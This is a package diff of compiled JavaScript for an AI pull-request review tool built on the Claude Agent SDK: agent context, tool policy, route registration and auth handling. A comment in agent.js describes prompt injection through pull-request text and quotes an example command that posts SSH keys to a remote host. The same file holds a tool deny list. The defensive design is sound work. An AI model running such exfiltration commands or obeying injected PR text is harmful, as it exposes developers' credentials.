limn-review 0.1.123

package/dist/review/agent-context.js

@@ -0,0 +1,127 @@
+import { config } from '../config.js';
+import { accountIdOf } from '../api/plugins/auth.js';
+import { db, schema, runTransaction, isPg } from '../db/client.js';
+import * as hostQueries from '../db/queries.js';
+import { recordAiUsage } from '../db/usage.js';
+import { aiCreditStatus } from '../db/credits.js';
+import { getAccessToken, getAccountById } from '../auth/account.js';
+import { fetchPrHeadInfo, fetchPrUnifiedDiff } from '../github/mutations.js';
+import { fetchCompareDiff } from '../github/compare.js';
+import { fetchActionsJobLog } from '../github/actions-logs.js';
+import { fetchActionsJobFailedStep, fetchCommitChecks, } from '../github/commit-checks.js';
+import { fetchReviewCommentHunks } from '../sync/hydrate-detail.js';
+import { applyAndPush } from '../coding/git-ops.js';
+import { registerScheduledJob } from '../sync/scheduled-jobs.js';
+import { detectClaudeAuth } from './auth.js';
+import { loadReviewThreadsForReview, } from '../db/review-threads-for-review.js';
+export function buildAgentContext(log) {
+    return {
+        log,
+        host: { isCloud: config.isCloud },
+        accountIdOf,
+        db,
+        schema: schema,
+        runTransaction,
+        isPg,
+        llm: {
+            detectAuth: () => {
+                const r = detectClaudeAuth();
+                return r.status === 'ok' ? { status: 'ok' } : { status: 'none', message: r.message };
+            },
+        },
+        aiCredits: {
+            check: async (accountId) => {
+                const account = await getAccountById(accountId);
+                // Fail closed on a missing account (never happens for a live request).
+                if (!account)
+                    return {
+                        summaryTurnsUsed: 0,
+                        summaryTurnLimit: 0,
+                        summaryTurnsRemaining: 0,
+                        summaryBlocked: true,
+                        agentCreditsUsed: 0,
+                        agentAllowanceCredits: 0,
+                        agentCreditsRemaining: 0,
+                        agentBlocked: true,
+                        blocked: true,
+                    };
+                // Local accounts are UNMETERED (null limits → never blocked). The ledger still records
+                // spend for the local usage display; it is the user's own money, not ours.
+                return aiCreditStatus(account, Date.now());
+            },
+        },
+        recordAiUsage: (row) => recordAiUsage(row),
+        github: {
+            fetchPrDiff: async (accountId, owner, name, number) => fetchPrUnifiedDiff(await getAccessToken(accountId), owner, name, number),
+            fetchPrHeadInfo: async (accountId, owner, name, number) => fetchPrHeadInfo(await getAccessToken(accountId), owner, name, number),
+            // `accountId` passed THROUGH so a rate-limited compare feeds that account's budget. Never
+            // throws (github/compare.ts).
+            fetchCompareDiff: async (accountId, a) => fetchCompareDiff(await getAccessToken(accountId), { ...a, accountId }),
+            // Never throws: the token is resolved inside the fetcher's own try.
+            fetchReviewCommentHunks: (accountId, a) => fetchReviewCommentHunks(accountId, a.owner, a.name, a.prNumber, {
+                maxHunkChars: a.maxHunkChars,
+            }),
+        },
+        coding: {
+            // Lazy: coding/agent.ts pulls in the Claude Agent SDK.
+            generateFix: async (fixArgs) => (await import('../coding/agent.js')).runCodingAgent(fixArgs),
+            applyAndPush: (pushArgs) => applyAndPush(pushArgs),
+        },
+        review: {
+            prepareReview: async (a) => (await import('./prepare.js')).prepareReview(a),
+            runReview: async (a) => (await import('./agent.js')).runReview(a),
+            postReview: async (a) => (await import('./post-seam.js')).postReview(a),
+            postFinding: async (a) => (await import('./post-seam.js')).postFinding(a),
+            chat: async (a) => (await import('./chat-agent.js')).runReviewChat(a),
+        },
+        queries: {
+            getAutoReviewCandidates: (accountId, workspaceId, opts) => hostQueries.getAutoReviewCandidates(accountId, workspaceId, opts),
+            // `newestCommentAt` (→ comments_through) counts only the authors who may re-trigger an auto
+            // review — the SAME filter the candidate read uses, so seen and new cannot disagree.
+            loadReviewThreads: async (accountId, prId) => loadReviewThreadsForReview(accountId, prId, await hostQueries.reReviewCommentAuthorFilterForPr(accountId, prId)),
+        },
+        ci: {
+            readCommitChecks: async (accountId, a) => {
+                try {
+                    return await fetchCommitChecks(await getAccessToken(accountId), { ...a, accountId });
+                }
+                catch {
+                    return { ok: false, reason: 'error' };
+                }
+            },
+            // The log's TAIL window (DEFAULT_LOG_WINDOW_BYTES, 128 KiB — one ranged GET), never the
+            // whole log.
+            readJobLog: async (accountId, a) => {
+                try {
+                    return await fetchActionsJobLog(await getAccessToken(accountId), a.owner, a.name, a.jobId, {}, {
+                        accountId,
+                    });
+                }
+                catch {
+                    return {
+                        available: false,
+                        reason: 'token',
+                        text: '',
+                        totalLines: 0,
+                        returnedLines: 0,
+                        totalBytes: null,
+                        startByte: null,
+                        endByte: null,
+                        hasMore: false,
+                        truncated: false,
+                    };
+                }
+            },
+            readFailedStep: async (accountId, a) => {
+                try {
+                    return await fetchActionsJobFailedStep(await getAccessToken(accountId), { ...a, accountId });
+                }
+                catch {
+                    return null;
+                }
+            },
+        },
+        registerScheduledJob,
+    };
+}
+//# sourceMappingURL=agent-context.js.map

package/dist/review/agent.js

@@ -0,0 +1,385 @@
+import { mkdtempSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { claudeExecutableOptions, loadAgentSdk } from '../ai/runtime.js';
+import { config } from '../config.js';
+import { submitReviewShape } from './schema.js';
+import { applyClaudeReviewAuth } from './auth.js';
+import { cleanupCloneCache, prepWorktree, removeWorktreeLocked, } from './clone-manager.js';
+import { sdkModelOptions } from './model-options.js';
+import { estimateCostUsd } from './pricing.js';
+import { mapSubmittedReview } from './submit-map.js';
+import { DISPATCH_TOOL_NAMES, createDispatchGuard, specialistAgents, } from './claude-review/specialists.js';
+import { recordUsage, sumModelUsage, sumUsageMap, } from './usage.js';
+// The security-sensitive HALF of ctx.review.runReview (the plugin owns routing/prompts/
+// persistence; core owns the SDK run). Given a resolved mode + the plugin-built prompts +
+// the stripped diff (for anchoring), it clones/worktrees, runs the Agent SDK with the
+// in-process submit_review MCP tool, applies the auth env policy, streams progress, anchors
+// the findings, and RETURNS the structured result — it never touches the DB or throws for
+// an expected failure (it returns { submitted:false } / { aborted:true } with telemetry).
+// Read-only tool surface for a WORKTREE review. submit_review is the ONLY way structured
+// output leaves the agent.
+//
+// ---- Bash is deliberately ABSENT (this used to include it) ----
+//
+// A code review is the textbook prompt-injection target: every byte the model reads — the PR
+// title, the description, the diff, the review comments — was written by whoever opened the pull
+// request, which on a public repo is anyone. Combine that untrusted instruction channel with
+// `permissionMode: 'bypassPermissions'` (below) and a shell, and the review agent becomes a
+// remote code-execution path on the developer's own machine, with their `gh` token, SSH keys,
+// `~/.aws/credentials` and `.env` files all in reach and `curl` available to post them onwards.
+//
+// The old `DISALLOWED_TOOLS` blocklist (`Bash(rm *)`, `Bash(sudo *)`, …) was never a defence
+// against that. It stops a handful of literal command prefixes; it does nothing about
+// `curl -d @~/.ssh/id_rsa https://…`, `python -c …`, or any of the thousand equivalent spellings.
+// A blocklist cannot enumerate the badness of a shell.
+//
+// What Bash bought was `git log` / `git show` for extra context, and the prompt already told the
+// agent to "prefer the dedicated Read/Glob/Grep tools over shelling out" — so this trades a
+// modest amount of optional context for closing arbitrary command execution driven by a stranger's
+// pull-request text. Read/Glob/Grep remain, which is what actually reviews code.
+//
+// If shell access is ever genuinely needed here, the way back is a container/VM boundary or an
+// explicit `canUseTool` allowlist under a non-bypass permission mode — NOT re-adding 'Bash' with
+// a longer blocklist.
+const WORKTREE_TOOLS = ['Read', 'Glob', 'Grep', 'mcp__review__submit_review'];
+// A deep (worktree) review also gets the sub-agent dispatch tool, so the lead can consult its
+// specialists (claude-review/specialists.ts). Each specialist is itself Read/Glob/Grep only, and
+// every dispatch passes the PreToolUse guard below: catalogue names only, at most
+// CLAUDE_REVIEW_MAX_SPECIALISTS per review, foreground, the lead's model.
+// A DIFF-ONLY review is tool-less: the agent has the full diff in its prompt and no
+// repository to explore, so submit_review is the only tool it gets.
+const DIFF_ONLY_TOOLS = ['mcp__review__submit_review'];
+// Per-model effort + thinking options live in ./model-options.ts (ONE table, shared with
+// coding/agent.ts). ⚠ Opus 5.5 400s on disabled thinking, a thinking budget and a forced
+// tool_choice — none of which this run sends.
+// Deny list. `Bash` is denied OUTRIGHT rather than by command pattern — see WORKTREE_TOOLS
+// above for why a per-command blocklist is not a security boundary when the model's input is
+// attacker-authored. Belt and braces: Bash is also absent from the allow list, so this is the
+// second of two independent reasons it cannot run.
+export const DISALLOWED_TOOLS = [
+    'Write',
+    'Edit',
+    'MultiEdit',
+    'NotebookEdit',
+    'Bash',
+    'WebFetch',
+    'WebSearch',
+];
+/**
+ * The tool policy for one run. Pure, so the "specialists only on the deep route" rule is testable
+ * without the SDK. A diff-only run, or a worktree run offered no specialists, gets the dispatch tool
+ * DENIED outright — otherwise the SDK's built-in agent types (which inherit every tool) would be
+ * one call away.
+ */
+export function reviewToolPolicy(mode, offered) {
+    const specialists = mode === 'worktree' ? [...(offered ?? [])] : [];
+    if (specialists.length > 0) {
+        return {
+            allowedTools: [...WORKTREE_TOOLS, ...DISPATCH_TOOL_NAMES],
+            disallowedTools: [...DISALLOWED_TOOLS],
+            specialists,
+        };
+    }
+    return {
+        allowedTools: mode === 'worktree' ? [...WORKTREE_TOOLS] : [...DIFF_ONLY_TOOLS],
+        disallowedTools: [...DISALLOWED_TOOLS, ...DISPATCH_TOOL_NAMES],
+        specialists,
+    };
+}
+// How many recent-activity lines to keep in the live progress ring buffer.
+const ACTIVITY_LOG_CAP = 25;
+export async function runReview(args) {
+    const { model, mode, onProgress, abortController } = args;
+    let worktreePath = null;
+    let repoCloneDir = null;
+    let tempCwd = null;
+    let result = null;
+    let restoreEnv = null;
+    // Per-message usage keyed by message UUID (latest-wins): the SDK re-emits a message per
+    // turn, so a naive SUM double-counts (~2×). The PERSISTED totals prefer the result
+    // message's authoritative `modelUsage` (see telemetry()).
+    const usageByUuid = new Map();
+    const telemetry = () => {
+        const usage = sumModelUsage(result) ?? sumUsageMap(usageByUuid);
+        const hasUsage = usage.inputTokens + usage.outputTokens + usage.cacheReadTokens > 0;
+        return {
+            costUsd: result?.total_cost_usd ?? (hasUsage ? estimateCostUsd(model, usage) : null),
+            inputTokens: usage.inputTokens,
+            outputTokens: usage.outputTokens,
+            cacheReadTokens: usage.cacheReadTokens,
+            cacheCreationTokens: usage.cacheCreationTokens,
+            numTurns: result?.num_turns ?? null,
+        };
+    };
+    const fail = (failureReason, aborted) => ({
+        submitted: false,
+        failureReason,
+        scope: null,
+        summary: '',
+        verdict: 'COMMENT',
+        findings: [],
+        ...telemetry(),
+        aborted,
+    });
+    try {
+        // Working directory + tool surface per mode. A worktree review clones + checks out the
+        // head and gets the read-only file tools; a diff-only review is TOOL-LESS with a
+        // throwaway cwd and NO clone (the dominant per-run cost) — the whole change is in its prompt.
+        let cwd;
+        let maxTurns;
+        const policy = reviewToolPolicy(mode, args.specialists);
+        if (mode === 'worktree') {
+            onProgress({ phase: 'cloning', reviewMode: mode });
+            ({ repoCloneDir, worktreePath } = await prepWorktree(args.owner, args.name, args.prNumber, args.headSha));
+            cwd = worktreePath;
+            maxTurns = config.reviewMaxTurns;
+        }
+        else {
+            tempCwd = mkdtempSync(join(tmpdir(), 'pierre-review-'));
+            cwd = tempCwd;
+            maxTurns = config.reviewDiffOnlyMaxTurns;
+        }
+        // Effort guides thinking depth + token spend — the dominant cost knob. Per-mode, and only
+        // for models that accept it (Haiku rejects `effort`; it runs unset). Opus 5.5 also gets an
+        // explicit adaptive-thinking config (see model-options.ts).
+        const modelOptions = sdkModelOptions(model, mode);
+        // Establish this run's auth (prefer ambient, strip an explicit key). The plugin decides
+        // whether it's safe to mutate process.env (its concurrency === 1); restored in finally.
+        restoreEnv = applyClaudeReviewAuth(args.applyAuthEnv);
+        // ---- run the agent ----
+        // The SDK and zod come from the AI runtime (ai/runtime.ts) — downloaded on first use for an
+        // npm install. A missing runtime throws here and lands in the catch as a readable failure.
+        const { createSdkMcpServer, query, tool } = await loadAgentSdk();
+        const reviewShape = await submitReviewShape();
+        let captured = null;
+        const server = createSdkMcpServer({
+            name: 'review',
+            version: '1.0.0',
+            tools: [
+                tool('submit_review', 'Submit your structured review. Call this EXACTLY once, at the end.', reviewShape, async (a) => {
+                    captured = a;
+                    return { content: [{ type: 'text', text: 'Review recorded.' }] };
+                }),
+            ],
+        });
+        // Deep review: the specialist catalogue + the dispatch guard (a fresh count per run).
+        const guard = policy.specialists.length > 0 ? createDispatchGuard(policy.specialists) : null;
+        const q = query({
+            prompt: args.prompt,
+            options: {
+                model,
+                ...modelOptions,
+                systemPrompt: args.systemPrompt,
+                cwd,
+                permissionMode: 'bypassPermissions',
+                allowedTools: policy.allowedTools,
+                disallowedTools: policy.disallowedTools,
+                maxTurns,
+                ...(guard
+                    ? {
+                        agents: specialistAgents(policy.specialists),
+                        // ⚠ THE CAP LIVES HERE, not in the prompt: a PreToolUse hook runs before the tool,
+                        // and its deny holds under bypassPermissions (canUseTool would never be asked).
+                        hooks: {
+                            PreToolUse: [
+                                {
+                                    hooks: [
+                                        async (input) => input.hook_event_name === 'PreToolUse'
+                                            ? guard.decide(input.tool_name, input.tool_input)
+                                            : { continue: true },
+                                    ],
+                                },
+                            ],
+                        },
+                    }
+                    : {}),
+                // User-set per-review cap (local settings) when present, else the operator default —
+                // plus headroom for each specialist a deep run is offered (they share this one budget).
+                maxBudgetUsd: config.reviewBudgetUsd,
+                // Don't inherit the host's .claude settings / CLAUDE.md / skills.
+                settingSources: [],
+                mcpServers: { review: server },
+                abortController,
+                // LIMN_CLAUDE_PATH → the user's own `claude` instead of the SDK's bundled binary.
+                ...claudeExecutableOptions(),
+            },
+        });
+        // Rolling, newest-last log of what the agent is doing right now, surfaced via onProgress.
+        const activity = [];
+        // Dispatch tool_use id → specialist name, so a specialist's own steps are labelled as its.
+        const specialistByToolUse = new Map();
+        const pushActivity = (line) => {
+            const trimmed = line.trim();
+            if (!trimmed)
+                return;
+            activity.push(trimmed);
+            if (activity.length > ACTIVITY_LOG_CAP)
+                activity.shift();
+        };
+        // Flip to 'reviewing' the moment setup is done — BEFORE the first model token — so the
+        // prior phase doesn't linger through the agent's whole first turn.
+        onProgress({ phase: 'reviewing', reviewMode: mode });
+        for await (const message of q) {
+            if (message.type === 'assistant') {
+                try {
+                    recordUsage(usageByUuid, message);
+                }
+                catch {
+                    /* usage shape varies — never let it break the run */
+                }
+                try {
+                    for (const line of describeAssistantBlocks(message, specialistByToolUse))
+                        pushActivity(line);
+                }
+                catch {
+                    /* never let progress derivation break the run */
+                }
+                const live = sumUsageMap(usageByUuid);
+                onProgress({
+                    phase: 'reviewing',
+                    recentActivity: [...activity],
+                    reviewMode: mode,
+                    usage: { ...live, estCostUsd: estimateCostUsd(model, live) },
+                });
+            }
+            else if (message.type === 'result') {
+                result = message;
+            }
+        }
+        if (!captured) {
+            const reason = result && result.subtype !== 'success'
+                ? `agent stopped (${result.subtype}) without submitting a review`
+                : 'agent finished without calling submit_review';
+            return fail(reason, false);
+        }
+        // ---- anchor (+ carry priorRef / followUp / ticket through verbatim) ----
+        const payload = captured;
+        const mapped = mapSubmittedReview(payload, args.strippedDiff);
+        return {
+            submitted: true,
+            ...mapped,
+            ...telemetry(),
+            aborted: false,
+        };
+    }
+    catch (err) {
+        // A user cancel aborts the SDK iterator, surfacing as an error here.
+        if (abortController.signal.aborted)
+            return fail(undefined, true);
+        return fail(errorMessage(err), false);
+    }
+    finally {
+        restoreEnv?.();
+        if (repoCloneDir && worktreePath) {
+            await removeWorktreeLocked(args.owner, args.name, repoCloneDir, worktreePath).catch(() => { });
+        }
+        // Diff-only runs use a throwaway cwd — remove it (best-effort).
+        if (tempCwd) {
+            try {
+                rmSync(tempCwd, { recursive: true, force: true });
+            }
+            catch {
+                /* advisory cleanup — never surface */
+            }
+        }
+        // Only a worktree run touched the clone cache. Defer LRU eviction (fire-and-forget) so
+        // the review result returns promptly; cleanupCloneCache is best-effort and never throws.
+        if (repoCloneDir) {
+            setImmediate(() => {
+                try {
+                    cleanupCloneCache();
+                }
+                catch {
+                    /* advisory cleanup — never surface */
+                }
+            });
+        }
+    }
+}
+function errorMessage(err) {
+    if (err instanceof Error)
+        return err.message;
+    return String(err);
+}
+const TEXT_SNIPPET_CAP = 120;
+const BASH_CMD_CAP = 80;
+/**
+ * Turn one assistant message into a few short, human-readable progress lines: a label per
+ * tool_use block plus a clipped snippet of any assistant text. Defensive throughout — the
+ * SDK content/tool-input shapes vary, so every access is guarded and this never throws.
+ */
+export function describeAssistantBlocks(message, specialistByToolUse = new Map()) {
+    const lines = [];
+    const m = message;
+    const content = m?.message?.content;
+    if (!Array.isArray(content))
+        return lines;
+    // A message from inside a specialist carries the dispatch's tool_use id.
+    const parent = typeof m.parent_tool_use_id === 'string' ? m.parent_tool_use_id : null;
+    const owner = parent ? specialistByToolUse.get(parent) : undefined;
+    const prefix = owner ? `${owner}: ` : '';
+    for (const raw of content) {
+        if (!raw || typeof raw !== 'object')
+            continue;
+        const block = raw;
+        if (block.type === 'tool_use') {
+            const name = typeof block.name === 'string' ? block.name : 'Tool';
+            const input = block.input && typeof block.input === 'object'
+                ? block.input
+                : {};
+            if (DISPATCH_TOOL_NAMES.includes(name) && typeof block.id === 'string') {
+                const type = typeof input.subagent_type === 'string' ? input.subagent_type : 'specialist';
+                specialistByToolUse.set(block.id, type);
+            }
+            lines.push(prefix + labelToolUse(name, input));
+        }
+        else if (block.type === 'text' && typeof block.text === 'string') {
+            const snippet = clip(block.text.replace(/\s+/g, ' ').trim(), TEXT_SNIPPET_CAP);
+            if (snippet)
+                lines.push(prefix + snippet);
+        }
+    }
+    return lines;
+}
+/** Build a short label for a tool call from its name + a truncated first arg. */
+function labelToolUse(name, input) {
+    const str = (v) => typeof v === 'string' && v.trim().length > 0 ? v.trim() : null;
+    switch (name) {
+        case 'Read': {
+            const p = str(input.file_path) ?? str(input.path);
+            return p ? `Read ${p}` : 'Read …';
+        }
+        case 'Glob': {
+            const p = str(input.pattern);
+            return p ? `Glob ${p}` : 'Glob …';
+        }
+        case 'Grep': {
+            const p = str(input.pattern);
+            return p ? `Grep "${clip(p, BASH_CMD_CAP)}"` : 'Grep …';
+        }
+        case 'Bash': {
+            const c = str(input.command);
+            return c ? `Bash ${clip(c, BASH_CMD_CAP)}` : 'Bash …';
+        }
+        case 'mcp__review__submit_review':
+            return 'Submitting review…';
+        case 'Agent':
+        case 'Task': {
+            const t = str(input.subagent_type);
+            return t ? `Asking the ${t} specialist` : 'Asking a specialist';
+        }
+        default: {
+            for (const key of Object.keys(input)) {
+                const v = str(input[key]);
+                if (v)
+                    return `${name} ${clip(v, BASH_CMD_CAP)}`;
+            }
+            return `${name} …`;
+        }
+    }
+}
+function clip(s, max) {
+    return s.length > max ? `${s.slice(0, max)}…` : s;
+}
+//# sourceMappingURL=agent.js.map

package/dist/review/agentic.js

@@ -0,0 +1,59 @@
+import { config } from '../config.js';
+import { buildAgentContext } from './agent-context.js';
+import { registerClaudeReviewRoutes } from './claude-review/routes.js';
+import { registerClaudeReviewChatRoutes } from './claude-review/chat.js';
+import { registerAutoReviewSettingsRoutes } from './claude-review/auto-settings.js';
+import { registerAutoReview } from './claude-review/auto.js';
+import { reconcileReviewsOnStartup } from './claude-review/manager.js';
+import { registerAiFixRoutes } from '../coding/ai-fix/routes.js';
+import { reconcileFixesOnStartup } from '../coding/ai-fix/manager.js';
+// THE AGENTIC FEATURES' ONE REGISTRATION POINT — Claude Review (run, follow-up, ticket check, the
+// chat, auto review) and AI Fix's fixer. CORE and FREE since apiVersion 22 (they
+// were the plugin's "pro+" tier); they run on the user's OWN Claude Code session or
+// ANTHROPIC_API_KEY (review/auth.ts), and Limn stores no key and charges nothing for them.
+//
+// ⚠ THE CLOUD GUARANTEE IS THIS `isCloud` CHECK, EXPLICITLY. It used to rest on an env var being
+// unset (the plugin's PRO_ADVANCED_AI_ENABLED), so one Railway variable stood between a paid cloud
+// account and routes with no SDK and no credential behind them. Now nothing agentic registers in
+// cloud — the routes 404 — and the auth plugin's `isProPath` 402 (which still lists the Claude
+// Review URLs and covers the `/api/pro/` AI Fix paths) is a SECOND guard, not the first.
+// `config.aiEnabled` is also false in cloud; it is checked separately so the two never collapse
+// into one flag again. LIMN_AI_DISABLED=true (the kill switch) turns `aiEnabled` off locally.
+/** Is any agentic surface allowed in this process? */
+export function agenticAllowed() {
+    if (config.isCloud)
+        return false;
+    return config.aiEnabled;
+}
+/** Register every agentic ROUTE. Called from buildApp; a no-op in cloud or under the kill switch. */
+export function registerAgenticRoutes(app) {
+    if (!agenticAllowed())
+        return null;
+    const ctx = buildAgentContext(app.log);
+    registerClaudeReviewRoutes(app, ctx);
+    registerClaudeReviewChatRoutes(app, ctx);
+    registerAutoReviewSettingsRoutes(app, ctx);
+    registerAiFixRoutes(app, ctx);
+    return ctx;
+}
+let backgroundStarted = false;
+/**
+ * The PROCESS-level half, run once at boot (index.ts) after the app is built: the auto-review
+ * sweeper on the host scheduler and the crash-orphan reconciles (a run that was `running` when the process died is marked failed).
+ * Separate from the routes so a test that builds the app twice does not schedule twice.
+ */
+export async function startAgenticBackground(app) {
+    if (!agenticAllowed() || backgroundStarted)
+        return;
+    backgroundStarted = true;
+    const ctx = buildAgentContext(app.log);
+    registerAutoReview(ctx);
+    try {
+        await reconcileReviewsOnStartup(ctx);
+    }
+    catch (err) {
+        app.log.warn({ err }, 'claude review: startup reconcile failed');
+    }
+    await reconcileFixesOnStartup(ctx);
+}
+//# sourceMappingURL=agentic.js.map

package/dist/review/auth.js

@@ -0,0 +1,94 @@
+import { existsSync } from 'node:fs';
+import { homedir } from 'node:os';
+import { join } from 'node:path';
+// Is an ambient Claude SUBSCRIPTION available (OAuth token or a logged-in Claude
+// Code session on disk)? Deliberately excludes API keys — this answers "can Claude
+// Review run on the subscription (no per-token billing)?", which drives the
+// prefer-ambient policy below.
+export function hasAmbientClaudeAuth() {
+    if (process.env.CLAUDE_CODE_OAUTH_TOKEN)
+        return true;
+    const home = homedir();
+    const ambientCandidates = [
+        join(home, '.claude', '.credentials.json'),
+        join(home, '.config', 'claude', '.credentials.json'),
+        join(home, '.claude.json'),
+        join(home, '.claude'),
+    ];
+    return ambientCandidates.some((path) => existsSync(path));
+}
+export const NO_CLAUDE_AUTH_MESSAGE = 'Sign in to Claude Code or set ANTHROPIC_API_KEY';
+export function detectClaudeAuth() {
+    // Claude Review PREFERS the ambient subscription (see applyClaudeReviewAuth), so
+    // report it first when present — even if an API key also exists.
+    if (process.env.CLAUDE_CODE_OAUTH_TOKEN) {
+        return { status: 'ok', method: 'oauth_token' };
+    }
+    if (hasAmbientClaudeAuth()) {
+        return { status: 'ok', method: 'ambient' };
+    }
+    // No ambient → the environment's API key, and nothing else. ⚠ THE STORED BYO KEY RUNG IS
+    // GONE: `~/.pierre-review/config.json`'s `anthropicApiKey` is retired and never read, so
+    // this detector must report from the env var ALONE — reporting `ok` off a value no run can
+    // use would be a green pre-flight in front of a guaranteed auth failure.
+    if (process.env.ANTHROPIC_API_KEY) {
+        return { status: 'ok', method: 'api_key' };
+    }
+    // ⚠ THIS SENTENCE IS RENDERED IN THE SPA, NOT JUST LOGGED — it is the ONE line that replaces
+    // every Run button when no credential is found (`MeResponse.ai.authMessage` and the routes'
+    // `authMessage`). Plain and short, and it promises no plan or billing: Limn stores no key and
+    // charges nothing; the run uses the user's own Claude Code sign-in or API key.
+    return {
+        status: 'none',
+        message: NO_CLAUDE_AUTH_MESSAGE,
+    };
+}
+/**
+ * Establish the auth for ONE Claude Review run by mutating process.env, returning a
+ * restore fn (always call it in a finally). Policy — Claude Review prefers the
+ * ambient subscription so the user's plan/usage credits cover it.
+ *
+ * ⚠ THE LADDER IS TWO RUNGS, NOT THREE. The middle rung — a BYO Anthropic key stored in
+ * `~/.pierre-review/config.json` — is RETIRED, along with its form and its routes:
+ *
+ *   • ambient available → STRIP any ANTHROPIC_API_KEY for the run so the Agent SDK
+ *     authenticates via the subscription/OAuth (an API key would otherwise win and
+ *     silently meter the run). UNCHANGED, and load-bearing: this is what makes a
+ *     subscription pay instead of a meter.
+ *   • no ambient → leave the environment EXACTLY as it is, so an operator-set
+ *     ANTHROPIC_API_KEY is used by the SDK. Nothing is written into process.env on this
+ *     path any more, which is why it returns a no-op restore.
+ *
+ * process.env is process-global, so the caller passes `mutate` — the plugin sets it
+ * true ONLY when its review concurrency is 1 (the env-race guard); false → no-op and the
+ * raw ambient env is used. The Pro summary is unaffected either way — it passes its own
+ * key explicitly to the llm seam and never reads this env.
+ */
+export function applyClaudeReviewAuth(mutate) {
+    if (!mutate)
+        return () => { };
+    const prevApiKey = process.env.ANTHROPIC_API_KEY;
+    const prevOauth = process.env.CLAUDE_CODE_OAUTH_TOKEN;
+    const restore = () => {
+        if (prevApiKey === undefined)
+            delete process.env.ANTHROPIC_API_KEY;
+        else
+            process.env.ANTHROPIC_API_KEY = prevApiKey;
+        if (prevOauth === undefined)
+            delete process.env.CLAUDE_CODE_OAUTH_TOKEN;
+        else
+            process.env.CLAUDE_CODE_OAUTH_TOKEN = prevOauth;
+    };
+    if (hasAmbientClaudeAuth()) {
+        // Prefer the subscription: hide any API key so the Agent SDK uses ambient auth.
+        if (process.env.ANTHROPIC_API_KEY === undefined)
+            return () => { };
+        delete process.env.ANTHROPIC_API_KEY;
+        return restore;
+    }
+    // No ambient → nothing to establish. Any existing ANTHROPIC_API_KEY stays exactly where it
+    // is and the Agent SDK picks it up; with no key either, the first SDK call surfaces the
+    // authoritative auth error, which is what `detectClaudeAuth` pre-empts on screen.
+    return () => { };
+}
+//# sourceMappingURL=auth.js.map